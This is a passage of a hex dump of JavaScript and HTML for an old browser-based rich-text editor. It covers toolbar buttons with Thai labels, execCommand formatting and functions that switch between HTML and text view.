6C 75 65 3D 36 3E 53 69 7A 65 3D 36 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76
61 6C 75 65 3D 35 3E 53 69 7A 65 3D 35 5C 0D 0A 3C 4F 50 54 49 4F 4E 20
76 61 6C 75 65 3D 34 3E 53 69 7A 65 3D 34 5C 0D 0A 3C 4F 50 54 49 4F 4E
20 76 61 6C 75 65 3D 33 3E 53 69 7A 65 3D 33 5C 0D 0A 3C 4F 50 54 49 4F
4E 20 76 61 6C 75 65 3D 32 3E 53 69 7A 65 3D 32 5C 0D 0A 3C 4F 50 54 49
4F 4E 20 76 61 6C 75 65 3D 31 3E 53 69 7A 65 3D 31 5C 0D 0A 3C 2F 4F 50
54 49 4F 4E 3E 5C 0D 0A 3C 2F 53 45 4C 45 43 54 3E 5C 0D 0A 3C 69 6D 67
20 73 72 63 3D 27 49 55 52 4C 2F 6C 65 66 74 2E 67 69 66 27 20 62 6F 72
64 65 72 3D 30 20 61 6C 74 3D 27 AA D4 B4 AB E9 D2 C2 27 20 77 69 64 74
68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27
64 6F 46 6F 72 6D 61 74 46 28 5C 22 4A 75 73 74 69 66 79 4C 65 66 74 5C
22 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 63 65
6E 74 65 72 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27
A8 D1 B4 A1 D6 E8 A7 A1 C5 D2 A7 27 20 77 69 64 74 68 3D 32 33 20 68 65
69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 64 6F 46 6F 72 6D 61
74 46 28 5C 22 4A 75 73 74 69 66 79 43 65 6E 74 65 72 5C 22 29 27 3E 5C
0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 72 69 67 68 74 2E 67
69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 AA D4 B4 A2 C7 D2
27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63
6C 69 63 6B 3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 4A 75 73 74 69 66
79 52 69 67 68 74 5C 22 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27
49 55 52 4C 2F 62 6F 6C 64 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20
61 6C 74 3D 27 B5 D1 C7 CB B9 D2 27 20 77 69 64 74 68 3D 32 33 20 68 65
69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 64 6F 46 6F 72 6D 61
74 46 28 5C 22 42 6F 6C 64 5C 22 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72
63 3D 27 49 55 52 4C 2F 69 74 61 6C 69 63 2E 67 69 66 27 20 62 6F 72 64
65 72 3D 30 20 61 6C 74 3D 27 B5 D1 C7 E0 CD D5 C2 A7 27 20 77 69 64 74
68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27
64 6F 46 6F 72 6D 61 74 46 28 5C 22 49 74 61 6C 69 63 5C 22 29 27 3E 5C
0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 75 6E 64 65 72 2E 67
69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 A2 D5 B4 E0 CA E9
B9 E3 B5 E9 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32
20 6F 6E 63 6C 69 63 6B 3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 55 6E
64 65 72 6C 69 6E 65 5C 22 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D
27 49 55 52 4C 2F 73 74 72 69 6B 65 2E 67 69 66 27 20 62 6F 72 64 65 72
3D 30 20 61 6C 74 3D 27 B5 D1 C7 A2 D5 B4 27 20 77 69 64 74 68 3D 32 33
20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 64 6F 46 6F
72 6D 61 74 46 28 5C 22 53 74 72 69 6B 65 54 68 72 6F 75 67 68 5C 22 29
27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 62 67 63 6F
6C 6F 72 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 CA
D5 BE D7 E9 B9 B5 D1 C7 CD D1 A1 C9 C3 27 20 77 69 64 74 68 3D 32 33 20
68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 73 65 6C 65 63
74 42 67 43 6F 6C 6F 72 28 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D
27 49 55 52 4C 2F 66 67 63 6F 6C 6F 72 2E 67 69 66 27 20 62 6F 72 64 65
72 3D 30 20 61 6C 74 3D 27 CA D5 B5 D1 C7 CD D1 A1 C9 C3 27 20 77 69 64
74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D
27 73 65 6C 65 63 74 46 67 43 6F 6C 6F 72 28 29 27 3E 5C 0D 0A 3C 69 6D
67 20 73 72 63 3D 27 49 55 52 4C 2F 6C 69 6E 6B 2E 67 69 66 27 20 62 6F
72 64 65 72 3D 30 20 61 6C 74 3D 27 CA C3 E9 D2 A7 C5 D4 A7 A4 EC 20 55
52 4C 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F
6E 63 6C 69 63 6B 3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 43 72 65 61
74 65 4C 69 6E 6B 5C 22 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27
49 55 52 4C 2F 75 6E 6C 69 6E 6B 2E 67 69 66 27 20 62 6F 72 64 65 72 3D
30 20 61 6C 74 3D 27 C5 BA C5 D4 A7 A4 EC 20 55 52 4C 27 20 77 69 64 74
68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27
64 6F 46 6F 72 6D 61 74 46 28 5C 22 55 6E 4C 69 6E 6B 5C 22 29 27 3E 5C
0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 63 75 74 2E 67 69 66
27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 B5 D1 B4 27 20 77 69 64
74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D
27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 43 75 74 5C 22 29 27 3E 5C 0D 0A
3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 63 6F 70 79 2E 67 69 66 27
20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 A4 D1 B4 C5 CD A1 27 20 77
69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63
6B 3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 43 6F 70 79 5C 22 29 27 3E
5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 70 61 73 74 65 2E
67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 C7 D2 A7 27 20
77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69
63 6B 3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 50 61 73 74 65 5C 22 29
27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 79 6F 75 72
69 6D 67 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 E1
B7 C3 A1 C0 D2 BE 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D
32 32 20 6F 6E 63 6C 69 63 6B 3D 27 64 6F 55 70 6C 6F 61 64 46 69 6C 65
28 29 27 20 6E 61 6D 65 3D 27 51 42 43 4E 54 52 4C 37 27 3E 5C 0D 0A 3C
62 72 3E 3C 49 4E 50 55 54 20 6E 61 6D 65 3D 27 51 42 43 4E 54 52 4C 35
27 20 76 61 6C 75 65 3D 27 E0 BB C5 D5 E8 C2 B9 E2 CB C1 B4 20 48 54 4D
4C 2F 56 49 45 57 27 20 6F 6E 63 6C 69 63 6B 3D 27 73 77 61 70 4D 6F 64
65 28 29 27 20 74 79 70 65 3D 62 75 74 74 6F 6E 20 73 74 79 6C 65 3D 27
68 65 69 67 68 74 3A 32 32 3B 20 77 69 64 74 68 3A 31 35 30 3B 20 62 61
63 6B 67 72 6F 75 6E 64 3A 23 43 43 43 43 43 43 3B 20 62 6F 72 64 65 72
2D 63 6F 6C 6F 72 3A 23 45 41 45 41 45 41 3B 20 63 6F 6C 6F 72 3A 23 30
30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 31 32 70 78 27 3E 5C
0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 69 6E 73 74 61 62 6C
65 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 CA C3 E9
D2 A7 B5 D2 C3 D2 A7 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74
3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 69 6E 73 65 72 74 54 61 62 6C 65
28 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 74 61
62 70 72 6F 70 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D
27 A8 D1 B4 C3 D9 BB E1 BA BA B5 D2 C3 D2 A7 27 20 77 69 64 74 68 3D 32
33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 74 61 62
6C 65 50 72 6F 70 28 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49
55 52 4C 2F 63 65 6C 6C 70 72 6F 70 2E 67 69 66 27 20 62 6F 72 64 65 72
3D 30 20 61 6C 74 3D 27 A8 D1 B4 C3 D9 BB E1 BA BA AA E8 CD A7 B5 D2 C3
D2 A7 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F
6E 63 6C 69 63 6B 3D 27 63 65 6C 6C 50 72 6F 70 28 29 27 3E 5C 0D 0A 3C
69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 69 6E 73 63 65 6C 6C 2E 67 69
66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 E0 BE D4 E8 C1 AA E8
CD A7 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F
6E 63 6C 69 63 6B 3D 27 69 6E 73 65 72 74 43 65 6C 6C 28 29 27 3E 5C 0D
0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 64 65 6C 63 65 6C 6C 2E
67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 C5 BA AA E8 CD
A7 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E
63 6C 69 63 6B 3D 27 64 65 6C 65 74 65 43 65 6C 6C 28 29 27 3E 5C 0D 0A
3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 69 6E 73 72 6F 77 2E 67 69
66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 E0 BE D4 E8 C1 E1 B6
C7 E1 B9 C7 B9 CD B9 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74
3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 69 6E 73 65 72 74 52 6F 77 28 29
27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 64 65 6C 72
6F 77 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 C5 BA
E1 B6 C7 E1 B9 C7 B9 CD B9 27 20 77 69 64 74 68 3D 32 33 20 68 65 69 67
68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 64 65 6C 65 74 65 52 6F 77
28 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 69 6E
73 63 6F 6C 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27
E0 BE D4 E8 C1 E1 B6 C7 E1 B9 C7 B5 D1 E9 A7 27 20 77 69 64 74 68 3D 32
33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D 27 69 6E 73
65 72 74 43 6F 6C 28 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72 63 3D 27 49
55 52 4C 2F 64 65 6C 63 6F 6C 2E 67 69 66 27 20 62 6F 72 64 65 72 3D 30
20 61 6C 74 3D 27 C5 BA E1 B6 C7 E1 B9 C7 B5 D1 E9 A7 6C 27 20 77 69 64
74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D
27 64 65 6C 65 74 65 43 6F 6C 28 29 27 3E 5C 0D 0A 3C 69 6D 67 20 73 72
63 3D 27 49 55 52 4C 2F 6D 72 67 63 65 6C 6C 2E 67 69 66 27 20 62 6F 72
64 65 72 3D 30 20 61 6C 74 3D 27 C3 C7 C1 A4 CD C5 D1 C1 27 20 77 69 64
74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63 6B 3D
27 6D 6F 72 65 63 6F 6C 53 70 61 6E 28 29 27 3E 5C 0D 0A 3C 69 6D 67 20
73 72 63 3D 27 49 55 52 4C 2F 73 70 6C 74 63 65 6C 6C 2E 67 69 66 27 20
62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 E1 C2 A1 A4 CD C5 D1 C1 27 20
77 69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69
63 6B 3D 27 6C 65 73 73 63 6F 6C 53 70 61 6E 28 29 27 3E 5C 0D 0A 3C 69
6D 67 20 73 72 63 3D 27 49 55 52 4C 2F 6D 72 67 72 6F 77 2E 67 69 66 27
20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 C3 C7 C1 E1 B6 C7 27 20 77
69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63
6B 3D 27 6D 6F 72 65 72 6F 77 53 70 61 6E 28 29 27 3E 5C 0D 0A 3C 69 6D
67 20 73 72 63 3D 27 49 55 52 4C 2F 73 70 6C 74 72 6F 77 2E 67 69 66 27
20 62 6F 72 64 65 72 3D 30 20 61 6C 74 3D 27 E1 C2 A1 E1 B6 C7 27 20 77
69 64 74 68 3D 32 33 20 68 65 69 67 68 74 3D 32 32 20 6F 6E 63 6C 69 63
6B 3D 27 6C 65 73 73 72 6F 77 53 70 61 6E 28 29 27 3E 5C 0D 0A 3C 2F 54
44 3E 3C 2F 54 52 3E 22 0D 0A 0D 0A 20 73 74 72 20 3D 20 73 74 72 2E 72
65 70 6C 61 63 65 28 2F 49 55 52 4C 2F 67 2C 20 69 75 72 6C 29 3B 0D 0A
20 72 65 74 75 72 6E 20 73 74 72 20 3B 20 0D 0A 7D 0D 0A 0D 0A 0D 0A 66
75 6E 63 74 69 6F 6E 20 63 72 65 61 74 65 45 64 69 74 6F 72 28 69 64 2C
77 69 2C 68 69 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 73 74 72 78 20 3D 20
22 3C 69 66 72 61 6D 65 20 69 64 3D 22 2B 69 64 2B 20 68 69 20 2B 22 20
77 69 64 74 68 3D 31 30 30 25 3E 3C 2F 69 66 72 61 6D 65 3E 22 0D 0A 0D
0A 20 20 76 61 72 20 69 64 41 3D 20 69 64 2E 73 70 6C 69 74 28 27 56 44
65 76 49 44 27 29 0D 0A 0D 0A 20 20 73 74 72 78 20 2B 3D 20 22 3C 69 6E
70 75 74 20 6E 61 6D 65 3D 22 2B 69 64 41 5B 31 5D 2B 22 20 74 79 70 65
3D 68 69 64 64 65 6E 3E 3C 2F 69 6E 70 75 74 3E 22 0D 0A 20 0D 0A 20 20
76 61 72 20 73 74 72 3D 22 3C 54 41 42 4C 45 20 62 6F 72 64 65 72 3D 30
20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 30 20 63 65 6C 6C 70 61 64 64 69
6E 67 3D 31 22 20 2B 20 77 69 20 2B 20 22 3E 3C 74 72 3E 3C 74 64 3E 22
0D 0A 20 20 73 74 72 20 2B 3D 20 73 74 72 78 20 2B 20 22 3C 2F 74 64 3E
3C 2F 74 72 3E 22 0D 0A 20 20 0D 0A 20 20 73 74 72 20 2B 3D 20 63 6F 6E
74 72 6F 6C 52 6F 77 73 28 29 3B 0D 0A 0D 0A 20 20 73 74 72 20 2B 3D 20
22 3C 2F 54 41 42 4C 45 3E 22 20 3B 0D 0A 0D 0A 20 20 72 65 74 75 72 6E
20 73 74 72 20 3B 0D 0A 0D 0A 7D 0D 0A 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F
2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F
2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F
2F 2F 2F 2F 2F 2F 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 64 6F 46
6F 72 6D 61 74 46 28 61 72 72 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62
6A 46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B
0D 0A 20 20 69 66 28 21 6F 62 6A 46 29 7B 61 6C 65 72 74 28 27 50 6C 65
61 73 65 20 63 6C 69 63 6B 20 74 6F 20 73 65 6C 65 63 74 20 74 68 65 20
65 64 69 74 6F 72 27 29 3B 72 65 74 75 72 6E 7D 0D 0A 20 20 6F 62 6A 46
2E 66 6F 63 75 73 28 29 0D 0A 0D 0A 20 20 76 61 72 20 63 6D 64 20 3D 20
6E 65 77 20 41 72 72 61 79 28 29 3B 0D 0A 20 20 63 6D 64 20 3D 20 61 72
72 2E 73 70 6C 69 74 28 27 2C 27 29 0D 0A 0D 0A 20 20 69 66 28 63 6D 64
5B 30 5D 3D 3D 27 53 65 6C 65 63 74 41 6C 6C 27 29 20 73 65 6C 65 63 74
41 6C 6C 28 29 3B 0D 0A 20 20 65 6C 73 65 20 69 66 28 63 6D 64 5B 30 5D
3D 3D 27 53 77 61 70 5B 54 65 78 74 2F 48 54 4D 4C 5D 27 29 20 73 77 61
70 4D 6F 64 65 28 29 3B 20 0D 0A 20 20 65 6C 73 65 20 69 66 28 63 6D 64
5B 30 5D 3D 3D 27 53 77 61 70 5B 55 6E 69 2F 56 69 65 77 5D 27 29 20 73
77 61 70 56 69 65 77 28 29 3B 0D 0A 20 20 65 6C 73 65 20 69 66 28 63 6D
64 5B 30 5D 3D 3D 27 49 6E 73 65 72 74 54 61 62 6C 65 27 29 20 69 6E 73
65 72 74 54 61 62 6C 65 28 29 3B 0D 0A 20 20 65 6C 73 65 20 69 66 28 63
6D 64 5B 30 5D 3D 3D 27 54 61 62 6C 65 50 72 6F 70 65 74 69 65 73 27 29
20 74 61 62 6C 65 50 72 6F 70 28 29 3B 0D 0A 20 20 65 6C 73 65 20 69 66
28 63 6D 64 5B 30 5D 3D 3D 27 43 65 6C 6C 50 72 6F 70 65 74 69 65 73 27
29 20 63 65 6C 6C 50 72 6F 70 28 29 3B 0D 0A 20 20 65 6C 73 65 20 69 66
28 63 6D 64 5B 30 5D 3D 3D 27 49 6E 73 65 72 74 4C 61 79 65 72 27 29 20
69 6E 73 65 72 74 44 69 76 4C 61 79 65 72 28 29 3B 0D 0A 20 20 65 6C 73
65 20 69 66 28 63 6D 64 5B 30 5D 3D 3D 27 45 64 69 74 4C 61 79 65 72 42
6F 72 64 65 72 27 29 20 65 64 69 74 44 69 76 42 6F 72 64 65 72 28 29 3B
0D 0A 20 20 65 6C 73 65 20 69 66 28 63 6D 64 5B 30 5D 3D 3D 27 45 64 69
74 4C 61 79 65 72 46 69 6C 74 65 72 27 29 20 65 64 69 74 44 69 76 46 69
6C 74 65 72 28 29 3B 0D 0A 20 20 65 6C 73 65 20 69 66 28 63 6D 64 5B 30
5D 3D 3D 27 45 6D 6F 74 69 6F 6E 73 27 29 20 65 64 69 74 45 6D 6F 74 69
6F 6E 73 28 63 6D 64 5B 31 5D 2C 6F 62 6A 46 29 3B 0D 0A 20 20 65 6C 73
65 0D 0A 09 7B 0D 0A 09 20 20 76 61 72 20 65 64 69 74 3D 6F 62 6A 46 2E
64 6F 63 75 6D 65 6E 74 3B 20 0D 0A 09 20 20 69 66 28 63 6D 64 5B 30 5D
3D 3D 27 66 6F 72 6D 61 74 42 6C 6F 63 6B 27 29 20 65 64 69 74 2E 65 78
65 63 43 6F 6D 6D 61 6E 64 28 63 6D 64 5B 30 5D 2C 66 61 6C 73 65 2C 22
3C 22 2B 63 6D 64 5B 31 5D 2B 22 3E 22 29 0D 0A 09 20 20 65 6C 73 65 20
69 66 28 63 6D 64 5B 30 5D 3D 3D 27 49 6E 73 65 72 74 49 6D 61 67 65 27
20 26 26 20 21 63 6D 64 5B 31 5D 20 29 0D 0A 09 20 20 7B 20 0D 0A 09 09
20 20 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 6E 6F 74 69 63 65 3A 5C
6E 54 68 65 20 22 50 69 63 74 75 72 65 20 53 6F 75 72 63 65 22 20 69 6E
20 66 6F 6C 6C 6F 77 20 44 69 61 6C 6F 67 20 6D 75 73 74 20 62 65 20 61
20 55 52 4C 2C 20 6E 6F 74 20 61 20 6C 6F 63 61 6C 20 61 64 64 72 65 73
73 2E 27 29 3B 20 0D 0A 09 09 09 2F 2F 20 20 20 61 6C 65 72 74 28 63 6D
64 5B 30 5D 29 3B 0D 0A 09 09 09 2F 2F 20 20 20 61 6C 65 72 74 28 63 6D
64 5B 31 5D 29 3B 0D 0A 09 09 09 65 64 69 74 2E 65 78 65 63 43 6F 6D 6D
61 6E 64 28 63 6D 64 5B 30 5D 2C 74 72 75 65 2C 22 22 29 20 0D 0A 09 20
20 7D 0D 0A 09 20 20 65 6C 73 65 20 0D 0A 09 20 20 7B 0D 0A 09 09 20 20
2F 2F 20 20 61 6C 65 72 74 28 63 6D 64 5B 30 5D 29 3B 0D 0A 09 09 20 20
2F 2F 20 20 20 61 6C 65 72 74 28 63 6D 64 5B 31 5D 29 3B 0D 0A 09 09 20
20 65 64 69 74 2E 65 78 65 63 43 6F 6D 6D 61 6E 64 28 63 6D 64 5B 30 5D
2C 66 61 6C 73 65 2C 63 6D 64 5B 31 5D 29 3B 0D 0A 09 20 20 7D 0D 0A 09
0D 0A 09 7D 0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20
65 64 69 74 45 6D 6F 74 69 6F 6E 73 28 77 72 64 2C 6F 62 6A 29 0D 0A 7B
0D 0A 20 20 76 61 72 20 63 61 72 65 74 3D 6F 62 6A 2E 64 6F 63 75 6D 65
6E 74 2E 73 65 6C 65 63 74 69 6F 6E 2E 63 72 65 61 74 65 52 61 6E 67 65
28 29 3B 0D 0A 20 20 6F 62 6A 2E 63 75 72 77 6F 72 64 3D 63 61 72 65 74
2E 64 75 70 6C 69 63 61 74 65 28 29 3B 0D 0A 20 20 6F 62 6A 2E 63 75 72
77 6F 72 64 2E 74 65 78 74 3D 20 77 72 64 20 2B 20 27 20 27 0D 0A 7D 0D
0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 20 73 77 61 70 56 69 65 77 28
29 0D 0A 7B 0D 0A 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D 65 6E 74
2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 69 66 28 21 6F 62 6A 46
29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 63 6C 69 63 6B 20 74 6F
20 73 65 6C 65 63 74 20 74 68 65 20 65 64 69 74 6F 72 27 29 3B 72 65 74
75 72 6E 7D 0D 0A 20 6F 62 6A 46 2E 66 6F 63 75 73 28 29 0D 0A 0D 0A 20
69 66 28 66 6F 72 6D 61 74 5B 66 49 44 5D 3D 3D 22 48 54 4D 4C 22 29 0D
0A 20 7B 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64
79 2E 73 74 79 6C 65 2E 66 6F 6E 74 46 61 6D 69 6C 79 3D 22 54 61 68 6F
6D 61 22 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64
79 2E 73 74 79 6C 65 2E 66 6F 6E 74 53 69 7A 65 3D 22 31 30 70 74 22 0D
0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 73 74
79 6C 65 2E 63 6F 6C 6F 72 3D 22 62 6C 61 63 6B 22 0D 0A 20 20 6F 62 6A
46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 73 74 79 6C 65 2E 62 61
63 6B 67 72 6F 75 6E 64 3D 22 23 65 30 65 30 66 30 22 0D 0A 20 20 76 61
72 20 73 74 72 78 3D 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64
79 2E 69 6E 6E 65 72 48 54 4D 4C 0D 0A 20 20 69 66 28 76 69 65 77 6D 5B
66 49 44 5D 29 20 73 74 72 78 3D 74 6F 55 6E 69 63 6F 64 65 28 73 74 72
78 29 0D 0A 20 20 65 6C 73 65 20 73 74 72 78 3D 76 69 65 77 49 53 4F 43
6F 64 65 28 73 74 72 78 29 0D 0A 20 20 66 6F 72 6D 61 74 5B 66 49 44 5D
3D 22 54 65 78 74 22 0D 0A 20 7D 0D 0A 20 65 6C 73 65 0D 0A 20 7B 0D 0A
20 20 76 61 72 20 73 74 72 78 3D 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74
2E 62 6F 64 79 2E 69 6E 6E 65 72 54 65 78 74 0D 0A 20 20 69 66 28 76 69
65 77 6D 5B 66 49 44 5D 29 20 73 74 72 78 3D 74 6F 55 6E 69 63 6F 64 65
28 73 74 72 78 29 0D 0A 20 20 65 6C 73 65 20 73 74 72 78 3D 76 69 65 77
49 53 4F 43 6F 64 65 28 73 74 72 78 29 0D 0A 20 7D 0D 0A 0D 0A 20 6F 62
6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 69 6E 6E 65 72 54 65
78 74 3D 73 74 72 78 0D 0A 20 76 69 65 77 6D 5B 66 49 44 5D 3D 31 20 2D
20 76 69 65 77 6D 5B 66 49 44 5D 0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75
6E 63 74 69 6F 6E 20 73 77 61 70 4D 6F 64 65 28 29 0D 0A 7B 0D 0A 20 76
61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B
66 49 44 5D 3B 0D 0A 20 69 66 28 21 6F 62 6A 46 29 7B 61 6C 65 72 74 28
27 50 6C 65 61 73 65 20 63 6C 69 63 6B 20 74 6F 20 73 65 6C 65 63 74 20
74 68 65 20 65 64 69 74 6F 72 27 29 3B 72 65 74 75 72 6E 7D 0D 0A 20 6F
62 6A 46 2E 66 6F 63 75 73 28 29 0D 0A 20 0D 0A 20 69 66 28 66 6F 72 6D
61 74 5B 66 49 44 5D 3D 3D 22 48 54 4D 4C 22 29 0D 0A 20 7B 0D 0A 20 20
76 61 72 20 73 74 72 78 3D 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62
6F 64 79 2E 69 6E 6E 65 72 48 54 4D 4C 0D 0A 20 20 6F 62 6A 46 2E 64 6F
63 75 6D 65 6E 74 2E 62 6F 64 79 2E 69 6E 6E 65 72 54 65 78 74 3D 73 74
72 78 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79
2E 73 74 79 6C 65 2E 66 6F 6E 74 46 61 6D 69 6C 79 3D 22 6D 6F 6E 6F 73
70 61 63 65 22 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62
6F 64 79 2E 73 74 79 6C 65 2E 66 6F 6E 74 53 69 7A 65 3D 22 31 30 70 74
22 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E
73 74 79 6C 65 2E 63 6F 6C 6F 72 3D 22 62 6C 61 63 6B 22 0D 0A 20 20 6F
62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 73 74 79 6C 65 2E
62 61 63 6B 67 72 6F 75 6E 64 3D 22 23 65 30 65 30 66 30 22 0D 0A 20 20
66 6F 72 6D 61 74 5B 66 49 44 5D 3D 22 54 65 78 74 22 0D 0A 20 7D 0D 0A
20 65 6C 73 65 0D 0A 20 7B 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65
6E 74 2E 62 6F 64 79 2E 73 74 79 6C 65 2E 66 6F 6E 74 46 61 6D 69 6C 79
3D 27 54 61 68 6F 6D 61 27 0D 0A 20 20 6F 62 6A 46 2E 64 6F 63 75 6D 65
6E 74 2E 62 6F 64 79 2E 73 74 79 6C 65 2E 63 6F 6C 6F 72 3D 22 23 30 30
